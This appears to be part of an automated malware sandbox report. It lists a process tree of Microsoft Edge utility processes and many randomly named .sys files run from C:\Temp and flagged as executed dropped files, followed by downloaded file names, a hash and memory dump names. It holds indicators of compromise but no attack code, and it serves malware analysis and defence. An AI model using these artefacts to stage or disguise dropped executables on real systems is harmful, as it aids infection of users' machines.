C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,2846734822297807264,8937578721537239564,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,14619446368177260445,11138222413201029682,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6884,i,5734053447190657621,3085470935825486525,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6964,i,2703197532984978353,16722204804507729014,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=7080 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,18309185757457534615,585532936217032728,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=944 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6140,i,2078989625486750028,6041093704614144613,262144 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3392,i,14112486683626978202,17436482658739073042,524288 --field-trial-handle=2368,i,4407072985317006757,17697287480575962960,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\wrpjhbztrmjecwuo.sysC:\Temp\wrpjhbztrmjecwuo.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\wrojhbztrl.sysC:\Temp\wrojhbztrl.sys1⤵
- Executes dropped EXE
-
C:\Temp\qojgbztrlj.sysC:\Temp\qojgbztrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\nlfdyvtqli.sysC:\Temp\nlfdyvtqli.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvqnifay.sysC:\Temp\fdxvqnifay.sys1⤵
- Executes dropped EXE
-
C:\Temp\fdxvpnlfda.sysC:\Temp\fdxvpnlfda.sys1⤵
- Executes dropped EXE
-
C:\Temp\nkfdxvpnhf.sysC:\Temp\nkfdxvpnhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecwuspnh.sysC:\Temp\mkecwuspnh.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhbzurpjhb.sysC:\Temp\jhbzurpjhb.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmkecwuomh.sysC:\Temp\rmkecwuomh.sys1⤵
- Executes dropped EXE
-
C:\Temp\jgebwtrljg.sysC:\Temp\jgebwtrljg.sys1⤵
- Executes dropped EXE
-
C:\Temp\dbvtoljdby.sysC:\Temp\dbvtoljdby.sys1⤵
-
C:\Temp\qnlfdyvqoi.sysC:\Temp\qnlfdyvqoi.sys1⤵
-
C:\Temp\igaysqkida.sysC:\Temp\igaysqkida.sys1⤵
-
C:\Temp\fdxvpnlfdx.sysC:\Temp\fdxvpnlfdx.sys1⤵
-
C:\Temp\ausmkecxup.sysC:\Temp\ausmkecxup.sys1⤵
-
C:\Temp\rmjhfzwupm.sysC:\Temp\rmjhfzwupm.sys1⤵
-
C:\Temp\mkecwupmhe.sysC:\Temp\mkecwupmhe.sys1⤵
-
C:\Temp\jebwtoljhe.sysC:\Temp\jebwtoljhe.sys1⤵
-
C:\Temp\gbytrljdbv.sysC:\Temp\gbytrljdbv.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ausqkicaxs.exe
bztrljdbwt.exe
dyvqnifdav.exe
fdxvpnlfda.sys
fdxvqnifay.sys
i_bztrljdbwt.exe
i_dyvqnifdav.exe
i_nlidbvtnlf.exe
i_qojgdbvtol.exe
i_zwuomhbzwr.exe
nlfdyvtqli.sys
nlidbvtnlf.exe
qojgbztrlj.sys
qojgdbvtol.exe
wrojhbztrl.sys
wrpjhbztrmjecwuo.exe
wrpjhbztrmjecwuo.sys
zwuomhbzwr.exe
118f468e-b956-4a76-a56d-b6a00b136fba.tmp
977941ce-464d-47e1-9818-3d5d2978250a.tmp
9fe5d3be-e87c-4c43-bcc5-218753ad4844.tmp
1889f9f7-2e30-446c-a9af-d55c24629769.tmp
settings.dat
settings.dat
15073029-d08a-4269-9bac-3c7adc146184.tmp
4e5515e9-082b-44db-8548-9fa486858ff3.tmp
7111ddf3-1437-4cb5-84a2-02d2bb09c33d.tmp
7c64acee-8ca1-4e1f-8ef7-19c9614fabd7.tmp
temp-index
2d56c05e-e923-4704-a191-9759ca352f5a.tmp
dasherSettingSchema.json
6bb4beaa-d4d6-4dbc-9acc-d8c1a4d04cf2.tmp
9e26da95-542d-45c8-aba5-806aa47d3f05.tmp
ac6e04cf-5672-4eee-bb91-b3acc3bb1b91.tmp
sync_diagnostic.log
b9405cff-14d7-4e12-9fd8-cb2ac13b3eb0.tmp
f7584b3e-8743-46a3-af0e-0ea838cf78f6.tmp
OperationConfig
fcd9fd2f-ac93-4052-8643-90bbeeeaa5cb.tmp
a1b3e126-df26-4003-9895-6b6cc25ceab1.tmp
9c999113-b43d-4243-9e10-39ebc67663e2.tmp
ac1266c6-b122-4a95-9c39-8800cb8f3e25.tmp
metadata.json
d2d0da9f-99cb-4dd5-a839-7c1de353aaa5.tmp
3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
c766b692-bd1b-4f01-aeb0-779074ca8ff3.tmp
metadata.json
85bf8842-4b37-4f6e-966e-a282e9fe5540.tmp
bdc5a77f-1779-400a-a4d8-8d845ec49f1e.tmp
messages.json
content.js
manifest.json
manifest.json
manifest.json
manifest.json
CreateProcess.exe
memory/724-432-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/896-736-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1180-688-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1180-651-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1756-608-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1756-629-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1864-518-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2320-60-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2728-577-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3376-557-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3548-481-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3716-628-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3716-652-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3720-713-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4100-553-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4664-531-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5128-676-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5376-506-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5608-656-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5816-718-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5828-600-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5828-573-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6092-709-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6092-714-0x0000000000010000-0x00000000000AB000-memory.dmp